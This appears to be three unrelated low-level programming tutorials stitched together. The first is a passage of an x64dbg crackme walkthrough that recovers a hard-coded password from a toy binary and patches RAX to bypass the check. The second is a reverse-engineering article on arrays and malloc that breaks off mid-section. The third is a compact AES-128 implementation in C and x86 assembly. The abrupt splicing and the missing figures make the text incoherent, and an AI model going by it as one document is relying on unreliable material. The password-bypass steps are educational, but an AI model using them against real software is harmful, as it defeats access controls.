Make sure you use a 64-bit version of g++ compiler else it will compile but won’t work. You can also download the binary from my repo mentioned above. I prefer to use the Mingw-x64 compiler, but some also use clang x64. It all boils down to the preference of which one you are familiar with.

# Disassembly

Once you have compiled the binary, let’s load it up in x64dbg. Remember, that our binary accepts an argument which is our password. So, unlike GDB where we can supply the argument inside the GDB; in Windows, we will have to supply it during the loading of binary via the command line itself.

To load the binary into x64dbg, below is the commandline you can use:

.\x64dbg.exe crack_mex64.exe pass123

Once, the binary is loaded, you will see six windows by default. Let me quickly explain what these windows are:

The top left window displays the disassembled code. This is the same as disassemble main in GDB. It will walk you through the entire assembly code of the binary. The top right window contains the values of the registers. Since we are debugging a x64 binary, the values of x86 registers for example EAX or ECX will be inside of RAX or RCX itself.

The middle two windows, left one shows you the .text section of the assembly code, and right one shows the fastcalls in x64 assembly. Fastcalls are x64 calling conventions which is done between just 4 registers. I would recommend skipping this if you are A beginner. However for the curious cats, more information can be found here.

The bottom left window displays the memory dump of the binary, and the bottom right shows the stack. Whenever variables are passed on to another function, you will see them here.

Once, the above screen is loaded, we will first search for strings in our binary. We know a few strings when we executed the binary i.e. ‘Incorrect password’, or ‘Correct password’ or ‘help’. As for now, our primary aim is to find the actual password and secondary aim is to modify the RAX register to Zero, to display ‘Correct Password’ since our check_pass() function returns 0 or 1 depending upon whether the password is right or wrong.

To search for strings, right click anywhere in the disassembled code -> Search for -> All Modules ->String References

This will bring you to the below screen where it shows you the string Incorrect Password. Since we know there will be a comparison between our input password and the original password before printing whether the password is correct or not, we need to find the same from the disassembled code to view the registers and the stack to search for the cleartext password. Now right click on the ‘Incorrect Password’ area and select Follow in Disassembler. This will display the below screen in the disassembly area:

What I have done over here in the above image, is I’ve added a breakpoint at 00000000004015F6. The main reason for that is because I can see a jmp statement and a call statement right above it. This means that a function was called before reaching this point and the last function to be executed before the printing of ‘Correct/Incorrect password’ is the check_pass() function. So, this is the point where our interesting function starts. Lets just hit on the run button till it reaches this breakpoint execution.

Once, you’ve reached this breakpoint, hit stepi (F7) till you reach the mov RCX, RAX or 0000000000401601 address. Once it is there, you can see our password pass123 loaded on to the RCXregister from RAX register. This is nothing but our argument loaded into the function check_pass(). Now, keep stepping into the next registers till you reach the address 0000000000401584, which is where our plaintext password gets loaded into the RAX register.

You can see on the top right window that our password ‘pass123’ and original password ‘PASSWORD1’ is loaded onto the registers RCX and RAX for comparison. The completes our primary motive of getting the plaintext password. Now since our passwords are different, it will be printing out ‘Incorrect password’. We now need to modify the return value of 1 to 0 which is returned by the check_pass() function. If you see the above image, 3 lines below our code where the password is loaded onto the register, you will test EAX, EAX at address 0000000000401590. And we see two jump statements after them. So, if the test value returns they are equal, it will jump (je = jump if equal) to crack_m3x64.40159B which is where it will mov 0 to the EAX register. But since the password we entered is wrong, it will not jump there and continue to the next code segment where it will move 1 to EAX i.e. at address 0000000000401594. So, we just setup a breakpoint on this address by right clicking and selecting breakpoint -> toggle since we need to modify the register value at that point and continue running the binary till it hits that breakpoint:

Once, this breakpoint is hit, you will the value 1 loaded into the RAX register on the right-hand side. The EAX is a 32 bit register which is the last 32 bits of the RAX register. In short,

RAX = 32 bits + EAX

EAX = 16 bits + AX

AX = AH(8 bits) + AL(8 bits)

and so on.

Therefore, when 1 is loaded into EAX, it by default goes into RAX register. Finally, we can just select the RAX register on the right-hand side, right click and decrement it to Zero.

# Epilogue

And then you should see that RAX is changed to Zero. Now continue running the binary till it reaches the point where it checks the return value of the binary as to whether its Zero or One, which is at address 000000000040160C. You can see in the below image that it uses cmp to check if the value matches to 1.

It uses the jne (jump if not equal) condition, which means it will jump to crack_mex64.401636 if its is not equal to One. And crack_mex64.401636 is nothing but our printing of ’Correct Password’ at address 0000000000401636. You can also see in the register that our password is still pass123 and inspite of that it has printed it’s the correct password.

This would be it for the cracking session of windows for this blog. In the next blog, we will be looking at a bit more complex examples rather than finding just plaintext passwords from binaries.

## Reverse Engineering Advanced Programming Concepts

### Preface

Throughout this article we will be breaking down the following programming concepts and analyzing the decompiled assembly versions of each instruction:

1. Arrays
2. Pointers
3. Dynamic Memory Allocation
4. Socket Programming (Network Programming)
5. Threading

For the Part 1 of the BOLO: Reverse Engineering series, please click here.

Please note: While this article uses IDA Pro to disassemble the compiled code, many of the features of IDA Pro (i.e. graphing, pseudocode translation, etc.) can be found in plugins and builds for other free disassemblers such as radare2. Furthermore, while preparing for this article I took the liberty of changing some variable names in the disassembled code from IDA presets like “v20” to what they correspond to in the C code. This was done to make each portion easier to understand. Finally, please note that this C code was compiled into a 64 bit executable and disassembled with IDA Pro’s 64 bit version. This can be especially seen when calculating array sizes, as the 32 bit registers (i.e. eax) are often doubled in size and transformed into 64 bit registers (i.e rax).

### Ok, Let’s begin!

While Part 1 broke down and described basic programming concepts like loops and IF statements, this article is meant to explain more advanced topics that you would have to decipher when reverse engineering.

#### Arrays

Let’s begin with Arrays, First, let’s take a look at the code as a whole:

Now, let’s take a look at the decompiled assembly as a whole:

As you can see, the 12 lines of code turned into quite a large block of code. But don’t be intimidated! Remember, all we’re doing here is setting up arrays!

Let’s break it down bit by bit:

When initializing an array with an integer literal, the compiler simply initializes the length through a local variable.

EDIT: The above photo labeled “Declaring an array with a literal — disassembled” is actually labeled incorrectly. While yes, when initializing an array with an integer literal the compiler does first initialize the length through a local variable, the above screenshot is actually the initialization of a stack canary. Stack Canaries are used to detect overflow attacks that may, if unmitigated, lead to execution of malicious code. During compilation the compiler allocated enough space for the only litArray element that would be used, litArray[0] (see photo below labeled “local variables — Arrays” — as you can see, the only litArray element that was allocated for is litArray[0]). Compiler optimization can significantly enhance the speed of applications.
Sorry for the confusion!

Declaring an array with a variable — code
Declaring an array with a variable — assembly
declaring an array with pre-defined objects — code

When declaring an array with pre-defined index definitions the compiler simply saves each pre-defined object into its own variable which represents the index within the array (i.e. objArray4 = objArray[4])

initializing an array index — code

initializing an array index — assembly

Much like declaring an array with pre-defined index definitions, when initializing (or setting) an index in an array, the compiler creates a new variable for said index.

retrieving an item from an array — code

retrieving an item from an array — assembly

When retrieving items from arrays, the item is taken from the index within the array and set to the desired variable.

creating a matrix with variables — code

When creating a matrix, first the row and column sizes are set to their row and col variables. Next, the maximum and minimum indexes for the rows and columns are calculated and used to calculate the base location / overall size of the matrix in memory.

Dynamic memory allocation using malloc — code

In this function we allocate 11 characters using malloc and then copy “Hello World” into the allocated memory space.

Now, let’s take a look at the assembly:

Please note: Throughout the assembly you may see ‘nop’ instructions. these instructions were specifically placed by me during the preparation stage for this article so that I could easily navigate and comment throughout the assembly code.

dynamic memory allocation using malloc — assembly

When using malloc, first the size of the allocated memory (0x0B) is first moved into the edi register. Next, the _malloc system function is called to allocate memory. The allocated memory area is then stored in the ptr variable. Next, the “Hello World” string is broken down into “Hello Wo” and “rld” as it is copied into the allocated memory space. Finally, the newly copied “Hello World” string is printed out and the allocated memory is freed using the _free system function.

#### calloc — dynamic memory allocation

First, let’s take a look at the code:

## AES-128 Block Cipher

### Introduction

In January 1997, the National Institute of Standards and Technology (NIST) initiated a process to replace the Data Encryption Standard (DES) published in 1977. A draft criteria to evaluate potential algorithms was published, and members of the public were invited to provide feedback. The finalized criteria was published in September 1997 which outlined a minimum acceptable requirement for each submission.

4 years later in November 2001, Rijndael by Belgian Cryptographers Vincent Rijmen and Joan Daemen which we now refer to as the Advanced Encryption Standard (AES), was announced as the winner.

Since publication, implementations of AES have frequently been optimized for speed. Code which executes the quickest has traditionally taken priority over how much ROM it uses. Developers will use lookup tables to accelerate each step of the encryption process, thus compact implementations are rarely if ever sought after.

Our challenge here is to implement AES in the least amount of C and more specifically x86 assembly code. It will obviously result in a slow implementation, and will not be resistant to side-channel analysis, although the latter problem can likely be resolved using conditional move instructions (CMOVcc) if necessary.

### AES Parameters

There are three different set of parameters available, with the main difference related to key length. Our implementation will be AES-128 which fits perfectly onto a 32-bit architecture

.

Key Length
(Nk words)
Block Size
(Nb words)
Number of Rounds
(Nr)
AES-128 4 4 10
AES-192 6 4 12
AES-256 8 4 14

### Structure of AES

Two IF statements are introduced in order to perform the encryption in one loop. What isn’t included in the illustration below is ExpandRoundKey and AddRoundConstantwhich generate round keys.

The first layout here is what we normally see used when describing AES. The second introduces 2 conditional statements which makes the code more compact.

## Source in C

The optimizers built into C compilers can sometimes reveal more efficient ways to implement a piece of code. At the very least, they will show you alternative ways to write some code in assembly.

```#define R(v,n)(((v)>>(n))|((v)<<(32-(n))))
#define F(n)for(i=0;i<n;i++)
typedef unsigned char B;
typedef unsigned W;

// Multiplication over GF(2**8)
W M(W x){
W t=x&0x80808080;
return((x^t)*2)^((t>>7)*27);
}
// SubByte
B S(B x){
B i,y,c;
if(x){
for(c=i=0,y=1;--i;y=(!c&&y==x)?c=1:y,y^=M(y));
x=y;F(4)x^=y=(y<<1)|(y>>7);
}
return x^99;
}
void E(B *s){
W i,w,x[8],c=1,*k=(W*)&x[4];

// copy plain text + master key to x
F(8)x[i]=((W*)s)[i];

for(;;){
// 1st part of ExpandRoundKey, AddRoundKey and update state
w=k[3];F(4)w=(w&-256)|S(w),w=R(w,8),((W*)s)[i]=x[i]^k[i];

// 2nd part of ExpandRoundKey
w=R(w,8)^c;F(4)w=k[i]^=w;

// if round 11, stop else update c
if(c==108)break;c=M(c);

// SubBytes and ShiftRows
F(16)((B*)x)[(i%4)+(((i/4)-(i%4))%4)*4]=S(s[i]);

// if not round 10, MixColumns
if(c!=108)F(4)w=x[i],x[i]=R(w,8)^R(w,16)^R(w,24)^M(R(w,8)^w);
}
}
```

### x86 Overview

Some x86 registers have special purposes, and it’s important to know this when writing compact code.

Register Description Used by
eax Accumulator lods, stos, scas, xlat, mul, div
ebx Base xlat
ecx Count loop, rep (conditional suffixes E/Z and NE/NZ)
edx Data cdq, mul, div
esi Source Index lods, movs, cmps
edi Destination Index stos, movs, scas, cmps
ebp Base Pointer enter, leave
esp Stack Pointer pushad, popad, push, pop, call, enter, leave

Those of you familiar with the x86 architecture will know certain instructions have dependencies or affect the state of other registers after execution. For example, LODSB will load a byte from memory pointer in SI to AL before incrementing SI by 1. STOSB will store a byte in AL to memory pointer in DI before incrementing DI by 1. MOVSB will move a byte from memory pointer in SI to memory pointer in DI, before adding 1 to both SI and DI. If the same instruction is preceded REP (for repeat) then this also affects the CX register, decreasing by 1.

### Initialization

The s parameter points to a 32-byte buffer containing a 16-byte plain text and 16-byte master key which is copied to the local buffer x.

A copy of the data is required, because both will be modified during the encryption process. ESI will point to swhile EDI will point to x

EAX will hold Rcon value declared as c. ECX will be used exclusively for loops, and EDX is a spare register for loops which require an index starting position of zero. There’s a reason to prefer EAX than other registers. Byte comparisons are only 2 bytes for AL, while 3 for others.

```// 2 vs 3 bytes
/* 0001 */ "\x3c\x6c"             /* cmp al, 0x6c         */
/* 0003 */ "\x80\xfb\x6c"         /* cmp bl, 0x6c         */
/* 0006 */ "\x80\xf9\x6c"         /* cmp cl, 0x6c         */
/* 0009 */ "\x80\xfa\x6c"         /* cmp dl, 0x6c         */
```

In addition to this, one operation requires saving EAX in another register, which only requires 1 byte with XCHG. Other registers would require 2 bytes

```// 1 vs 2 bytes
/* 0001 */ "\x92"                 /* xchg edx, eax        */
/* 0002 */ "\x87\xd3"             /* xchg ebx, edx        */
```

Setting EAX to 1, our loop counter ECX to 4, and EDX to 0 can be accomplished in a variety of ways requiring only 7 bytes. The alternative for setting EAX here would be : XOR EAX, EAX; INC EAX

```// 7 bytes
/* 0001 */ "\x6a\x01"             /* push 0x1             */
/* 0003 */ "\x58"                 /* pop eax              */
/* 0004 */ "\x6a\x04"             /* push 0x4             */
/* 0006 */ "\x59"                 /* pop ecx              */
/* 0007 */ "\x99"                 /* cdq                  */
```

Another way …

```// 7 bytes
/* 0001 */ "\x31\xc9"             /* xor ecx, ecx         */
/* 0003 */ "\xf7\xe1"             /* mul ecx              */
/* 0005 */ "\x40"                 /* inc eax              */
/* 0006 */ "\xb1\x04"             /* mov cl, 0x4          */
```

And another..

```// 7 bytes
/* 0000 */ "\x6a\x01"             /* push 0x1             */
/* 0002 */ "\x58"                 /* pop eax              */
/* 0003 */ "\x99"                 /* cdq                  */
/* 0004 */ "\x6b\xc8\x04"         /* imul ecx, eax, 0x4   */
```

ESI will point to s which contains our plain text and master key. ESI is normally reserved for read operations. We can load a byte with LODS into AL/EAX, and move values from ESI to EDI using MOVS.

Typically we see stack allocation using ADD or SUB, and sometimes (very rarely) using ENTER. This implementation only requires 32-bytes of stack space, and PUSHAD which saves 8 general purpose registers on the stack is exactly 32-bytes of memory, executed in 1 byte opcode.

To illustrate why it makes more sense to use PUSHAD/POPAD instead of ADD/SUB or ENTER/LEAVE, the following are x86 opcodes generated by assembler.

```// 5 bytes
/* 0000 */ "\xc8\x20\x00\x00" /* enter 0x20, 0x0 */
/* 0004 */ "\xc9"             /* leave           */

// 6 bytes
/* 0000 */ "\x83\xec\x20"     /* sub esp, 0x20   */
/* 0003 */ "\x83\xc4\x20"     /* add esp, 0x20   */

// 2 bytes
/* 0000 */ "\x60"             /* pushad          */
/* 0001 */ "\x61"             /* popad           */
```

Obviously the 2-byte example is better here, but once you require more than 96-bytes, usually ADD/SUB in combination with a register is the better option.

```; *****************************
; void E(void *s);
; *****************************
_E:
pushad
xor    ecx, ecx           ; ecx = 0
mul    ecx                ; eax = 0, edx = 0
inc    eax                ; c = 1
mov    cl, 4
pushad                    ; alloca(32)
; F(8)x[i]=((W*)s)[i];
mov    esi, [esp+64+4]    ; esi = s
mov    edi, esp
pushad
add    ecx, ecx           ; copy state + master key to stack
rep    movsd
popad
```

### Multiplication

A pointer to this function is stored in EBP, and there are three reasons to use EBP over other registers:

1. EBP has no 8-bit registers, so we can’t use it for any 8-bit operations.
2. Indirect memory access requires 1 byte more for index zero.
3. The only instructions that use EBP are ENTER and LEAVE.
```// 2 vs 3 bytes for indirect access
/* 0001 */ "\x8b\x5d\x00"         /* mov ebx, [ebp]       */
/* 0004 */ "\x8b\x1e"             /* mov ebx, [esi]       */
```

When writing compact code, EBP is useful only as a temporary register or pointer to some function.

```; *****************************
; Multiplication over GF(2**8)
; *****************************
call   \$+21               ; save address
push   ecx                ; save ecx
mov    cl, 4              ; 4 bytes
add    al, al             ; al <<= 1
jnc    \$+4                ;
xor    al, 27             ;
ror    eax, 8             ; rotate for next byte
loop   \$-9                ;
pop    ecx                ; restore ecx
ret
pop    ebp
```

### SubByte

In the SubBytes step, each byte $a_{i,j}$ in the state matrix is replaced with $S(a_{i,j})$ using an 8-bit substitution box. The S-box is derived from the multiplicative inverse over $GF(2^8)$, and we can implement SubByte purely using code.

```; *****************************
; B SubByte(B x)
; *****************************
sub_byte:
pushad
test   al, al            ; if(x){
jz     sb_l6
xchg   eax, edx
mov    cl, -1            ; i=255
; for(c=i=0,y=1;--i;y=(!c&&y==x)?c=1:y,y^=M(y));
sb_l0:
mov    al, 1             ; y=1
sb_l1:
test   ah, ah            ; !c
jnz    sb_l2
cmp    al, dl            ; y!=x
setz   ah
jz     sb_l0
sb_l2:
mov    dh, al            ; y^=M(y)
call   ebp               ;
xor    al, dh
loop   sb_l1             ; --i
; F(4)x^=y=(y<<1)|(y>>7);
mov    dl, al            ; dl=y
mov    cl, 4             ; i=4
sb_l5:
rol    dl, 1             ; y=R(y,1)
xor    al, dl            ; x^=y
loop   sb_l5             ; i--
sb_l6:
xor    al, 99            ; return x^99
mov    [esp+28], al
popad
ret
```

### AddRoundKey

The state matrix is combined with a subkey using the bitwise XOR operation. This step known as Key Whitening was inspired by the mathematician Ron Rivest, who in 1984 applied a similar technique to the Data Encryption Standard (DES) and called it DESX.

```; *****************************
; AddRoundKey
; *****************************
; F(4)s[i]=x[i]^k[i];
pushad
xchg   esi, edi           ; swap x and s
xor_key:
lodsd                     ; eax = x[i]
xor    eax, [edi+16]      ; eax ^= k[i]
stosd                     ; s[i] = eax
loop   xor_key
popad
```

### AddRoundConstant

There are various cryptographic attacks possible against AES without this small, but important step. It protects against the Slide Attack, first described in 1999 by David Wagner and Alex Biryukov. Without different round constants to generate round keys, all the round keys will be the same.

```; *****************************
; AddRoundConstant
; *****************************
; *k^=c; c=M(c);
xor    [esi+16], al
call   ebp
```

### ExpandRoundKey

The operation to expand the master key into subkeys for each round of encryption isn’t normally in-lined. To boost performance, these round keys are precomputed before the encryption process since you would only waste CPU cycles repeating the same computation which is unnecessary.

Compacting the AES code into a single call requires in-lining the key expansion operation. The C code here is not directly translated into x86 assembly, but the assembly does produce the same result.

```; ***************************
; ExpandRoundKey
; ***************************
; F(4)w<<=8,w|=S(((B*)k)[15-i]);w=R(w,8);F(4)w=k[i]^=w;
pushad
add    esi,16
mov    eax, [esi+3*4]    ; w=k[3]
ror    eax, 8            ; w=R(w,8)
exp_l1:
call   S                 ; w=S(w)
ror    eax, 8            ; w=R(w,8);
loop   exp_l1
mov    cl, 4
exp_l2:
xor    [esi], eax        ; k[i]^=w
lodsd                    ; w=k[i]
loop   exp_l2
popad
```

### Combining the steps

An earlier version of the code used separate AddRoundKeyAddRoundConstant, and ExpandRoundKey, but since these steps all relate to using and updating the round key, the 3 steps are combined in order to reduce the number of loops, thus shaving off a few bytes.

```; *****************************
; AddRoundKey, AddRoundConstant, ExpandRoundKey
; *****************************
; w=k[3];F(4)w=(w&-256)|S(w),w=R(w,8),((W*)s)[i]=x[i]^k[i];
; w=R(w,8)^c;F(4)w=k[i]^=w;
pushad
xchg   eax, edx
xchg   esi, edi
mov    eax, [esi+16+12]  ; w=R(k[3],8);
ror    eax, 8
xor_key:
mov    ebx, [esi+16]     ; t=k[i];
xor    [esi], ebx        ; x[i]^=t;
movsd                    ; s[i]=x[i];
; w=(w&-256)|S(w)
call   sub_byte          ; al=S(al);
ror    eax, 8            ; w=R(w,8);
loop   xor_key
; w=R(w,8)^c;
xor    eax, edx          ; w^=c;
; F(4)w=k[i]^=w;
mov    cl, 4
exp_key:
xor    [esi], eax        ; k[i]^=w;
lodsd                    ; w=k[i];
loop   exp_key
popad
```

### Shifting Rows

ShiftRows cyclically shifts the bytes in each row of the state matrix by a certain offset. The first row is left unchanged. Each byte of the second row is shifted one to the left, with the third and fourth rows shifted by two and three respectively.

Because it doesn’t matter about the order of SubBytes and ShiftRows, they’re combined in one loop.

```; ***************************
; ShiftRows and SubBytes
; ***************************
; F(16)((B*)x)[(i%4)+(((i/4)-(i%4))%4)*4]=S(((B*)s)[i]);
pushad
mov    cl, 16
shift_rows:
lodsb                    ; al = S(s[i])
call   sub_byte
push   edx
mov    ebx, edx          ; ebx = i%4
and    ebx, 3            ;
shr    edx, 2            ; (i/4 - ebx) % 4
sub    edx, ebx          ;
and    edx, 3            ;
lea    ebx, [ebx+edx*4]  ; ebx = (ebx+edx*4)
mov    [edi+ebx], al     ; x[ebx] = al
pop    edx
inc    edx
loop   shift_rows
popad
```

### Mixing Columns

The MixColumns transformation along with ShiftRows are the main source of diffusion. Each column is treated as a four-term polynomial $b(x)=b_{3}x^{3}+b_{2}x^{2}+b_{1}x+b_{0}$, where the coefficients are elements over ${GF} (2^{8})$, and is then multiplied modulo $x^{4}+1$ with a fixed polynomial $a(x)=3x^{3}+x^{2}+x+2$

```; *****************************
; MixColumns
; *****************************
; F(4)w=x[i],x[i]=R(w,8)^R(w,16)^R(w,24)^M(R(w,8)^w);
pushad
mix_cols:
mov    eax, [edi]        ; w0 = x[i];
mov    ebx, eax          ; w1 = w0;
ror    eax, 8            ; w0 = R(w0,8);
mov    edx, eax          ; w2 = w0;
xor    eax, ebx          ; w0^= w1;
call   ebp               ; w0 = M(w0);
xor    eax, edx          ; w0^= w2;
ror    ebx, 16           ; w1 = R(w1,16);
xor    eax, ebx          ; w0^= w1;
ror    ebx, 8            ; w1 = R(w1,8);
xor    eax, ebx          ; w0^= w1;
stosd                    ; x[i] = w0;
loop   mix_cols
popad
jmp    enc_main
```

### Counter Mode (CTR)

Block ciphers should never be used in Electronic Code Book (ECB) mode, and the ECB Penguin illustrates why.

As you can see, blocks of the same data using the same key result in the exact same ciphertexts, which is why modes of encryption were invented. Galois/Counter Mode (GCM) is authenticated encryption which uses Counter (CTR) mode to provide confidentiality.

The concept of CTR mode which turns a block cipher into a stream cipher was first proposed by Whitfield Diffie and Martin Hellman in their 1979 publication, Privacy and Authentication: An Introduction to Cryptography.

CTR mode works by encrypting a nonce and counter, then using the ciphertext to encrypt our plain text using a simple XOR operation. Since AES encrypts 16-byte blocks, a counter can be 8-bytes, and a nonce 8-bytes.

The following is a very simple implementation of this mode using the AES-128 implementation.

```// encrypt using Counter (CTR) mode
void encrypt(W len, B *ctr, B *in, B *key){
W i,r;
B t[32];

// copy master key to local buffer
F(16)t[i+16]=key[i];

while(len){
// copy counter+nonce to local buffer
F(16)t[i]=ctr[i];

// encrypt t
E(t);

// XOR plaintext with ciphertext
r=len>16?16:len;
F(r)in[i]^=t[i];

// update length + position
len-=r;in+=r;

// update counter
for(i=15;i>=0;i--)
if(++ctr[i])break;
}
}
```

In assembly

```; void encrypt(W len, B *ctr, B *in, B *key)
_encrypt:
pushad
lea    esi,[esp+32+4]
lodsd
xchg   eax, ecx          ; ecx = len
lodsd
xchg   eax, ebp          ; ebp = ctr
lodsd
xchg   eax, edx          ; edx = in
lodsd
xchg   esi, eax          ; esi = key
pushad                   ; alloca(32)
; copy master key to local buffer
; F(16)t[i+16]=key[i];
lea    edi, [esp+16]     ; edi = &t[16]
movsd
movsd
movsd
movsd
aes_l0:
xor    eax, eax
jecxz  aes_l3            ; while(len){
; copy counter+nonce to local buffer
; F(16)t[i]=ctr[i];
mov    edi, esp          ; edi = t
mov    esi, ebp          ; esi = ctr
push   edi
movsd
movsd
movsd
movsd
; encrypt t
call   _E                ; E(t)
pop    edi
aes_l1:
; xor plaintext with ciphertext
; r=len>16?16:len;
; F(r)in[i]^=t[i];
mov    bl, [edi+eax]     ;
xor    [edx], bl         ; *in++^=t[i];
inc    edx               ;
inc    eax               ; i++
cmp    al, 16            ;
loopne aes_l1            ; while(i!=16 && --ecx!=0)
; update counter
xchg   eax, ecx          ;
mov    cl, 16
aes_l2:
inc    byte[ebp+ecx-1]   ;
loopz  aes_l2            ; while(++c[i]==0 && --ecx!=0)
xchg   eax, ecx
jmp    aes_l0
aes_l3:
popad
popad
ret
```

### Summary

The final assembly code for ECB mode is 205 bytes, and 272 for CTR mode.

Check sources here.